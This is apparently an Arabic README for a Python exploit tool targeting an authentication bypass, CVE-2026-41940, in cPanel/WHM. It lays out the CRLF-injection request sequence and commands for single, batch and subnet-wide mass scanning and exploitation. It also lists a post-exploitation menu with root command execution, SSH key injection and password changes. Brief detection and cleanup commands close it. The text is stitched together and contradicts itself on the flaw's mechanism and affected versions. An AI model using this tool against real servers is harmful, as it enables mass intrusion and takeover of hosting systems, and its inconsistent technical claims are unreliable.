
CVE-2026-41940 — تجاوز المصادقة في cPanel/WHM بواسطة Dr.Anach، حقن CRLF في معالج المصادقة الأساسي `cpsrvd` → وصول غير مُصادَق إلى واجهة برمجة تطبيقات WHM → تنفيذ تعليمات برمجية عن بُعد (RCE) كجذر. جميع إصدارات cPanel منذ v11.40 متأثرة.
المؤلف: Dr.Anach | جهة الاتصال: @dranach | الترخيص: MIT
حقن CRLF في معالج المصادقة الأساسية لـ cpsrvd → وصول غير مصادق إلى واجهة API لـ WHM → تنفيذ تعليمات برمجية كجذر (RCE). جميع إصدارات cPanel منذ v11.40 متأثرة.
| # | الخطوة | الطلب |
|---|---|---|
| 1 | إنشاء جلسة | GET /login/?user=root |
| 2 | حقن CRLF | Authorization: Basic <base64> — كلمة المرور تحمل حمولة \r\n |
| 3 | ترقية ذاكرة التخزين المؤقت | GET /cpsess<ID>/login/?login_only=1 |
| 4 | تنفيذ | GET /cpsess<ID>/execute/API/func |
pip install requests colorama
فيما يلي ملف README.md النهائي — سهل الاستخدام، عملي، ومركز على إنجاز العمل.
المؤلف: Dr.Anach · تيليغرام: @dranach
الإصدار: 2.0.0
الترخيص: لاختبارات الأمن المصرح بها فقط
يستغل CVE-2026-41940، وهو تجاوز للمصادقة في cPanel & WHM (الإصدارات 11.x حتى 106.x). تسمح الثغرة لمهاجم غير مصادق بالوصول إلى نقاط النهاية المقيدة — بما في ذلك وظيفة إعادة تعيين كلمة المرور — عن طريق إرسال رأس Host معد يشير إلى خادم يتحكم فيه المهاجم.
يأتي بثلاثة أوضاع:
| الوضع | العلامة | الوصف |
|---|---|---|
| هدف فردي | -t | اختبار IP أو نطاق واحد |
requestspip install requests
لا تبعيات أخرى. يستخدم توسيع CIDR وحدة ipaddress المدمجة في بايثون — لا حاجة لتثبيت أي شيء إضافي على ويندوز.
python main.py -t example.com
python main.py -t 192.168.1.100
python main.py --batch targets.txt --threads 50
تنسيق targets.txt:
192.168.1.100
example.com
192.168.1.101
example.org
192.168.1.102
python main.py --port-scan 192.168.128.0/18 --threads 100 --timeout 5
يوسع هذا 192.168.128.0/18 (16,384 عنوان IP)، ويجري فحص سريع للمنفذ على كل منها، ويحاول الاستغلال فقط ضد المضيفين حيث يكون المنفذ 2087 (cPanel/WHM) مفتوحًا.
-t, --target Single target IP or domain
--batch FILE File with targets (one per line)
--port-scan CIDR CIDR range to scan (e.g., 192.168.128.0/18)
-p, --port Target port (default: 2087)
--ssl Use HTTPS (default: HTTP)
--timeout SEC Connection timeout in seconds (default: 10)
--threads N Max concurrent threads (default: 50)
--proxy PROXY HTTP proxy (e.g., http://127.0.0.1:8080)
-v, --verbose Verbose output with debug info
--no-banner Suppress banner
--version Show version
[+] 192.168.130.45:2087 — VULNERABLE!
→ Password reset URL: http://192.168.130.45:2087/reset?token=abc123
→ Response time: 1.23s
[-] 192.168.131.10:2087 — Not vulnerable
→ Reason: No password reset endpoint found
[!] 192.168.129.22:2087 — Error: Connection refused
النتائج المحفوظة بصيغة JSON منظمة لكل مضيف مع حالة الثغرة، الرموز المستخرجة، وتفاصيل الاستجابة الأولية.
السيناريو الذي ربما تكون هنا من أجله:
python main.py --port-scan 192.168.128.0/18 -p 2087 --threads 100 --timeout 5 -v
كيف يعمل:
192.168.128.0/18 → 16,384 عنوان IP داخليًانصائح حول تعدد المواضيع:
--threads 100 يعمل جيدًا (يحترم حدود المقبس الافتراضية)--threads 200--threads 30 وزد --timeoutCVSS 9.1 (حرج) — لا يتطلب مصادقة، لا تفاعل مستخدم، تعقيد منخفض.
Host من جانب الخادمهذه الأداة مخصصة لتقييمات الأمن المصرح بها فقط. يجب أن تملك الأهداف أو أن تحصل على إذن كتابي من المالك قبل الاختبار. المؤلفون لا يتحملون أي مسؤولية عن سوء الاستخدام.
help Show commands
info Server info
passwd Change password
accounts List cPanel accounts
enum Full enumeration
shell Execute system command
ssh-add Inject SSH key
exec Run Python one-liner
exit Exit
التحقق من ملفات الجلسة:
ls -la /var/cpanel/sessions/raw/
ls -la /var/cpanel/sessions/cache/
السجلات المشبوهة في /usr/local/cpanel/logs/access_log:
/login/?user=root → session mint
/login/?user=root → CRLF injection
/cpsess*/login/?login_only=1 → cache promotion
/cpsess*/execute/* → API abuse
# 1. Patch to fixed build
# 2. Rotate all passwords and SSH keys
# 3. Purge sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel
| ملف دفعي |
--batch |
| تحميل قائمة أهداف من ملف |
| فحص CIDR | --port-scan | توسيع شبكة فرعية واختبار كل مضيف نشط |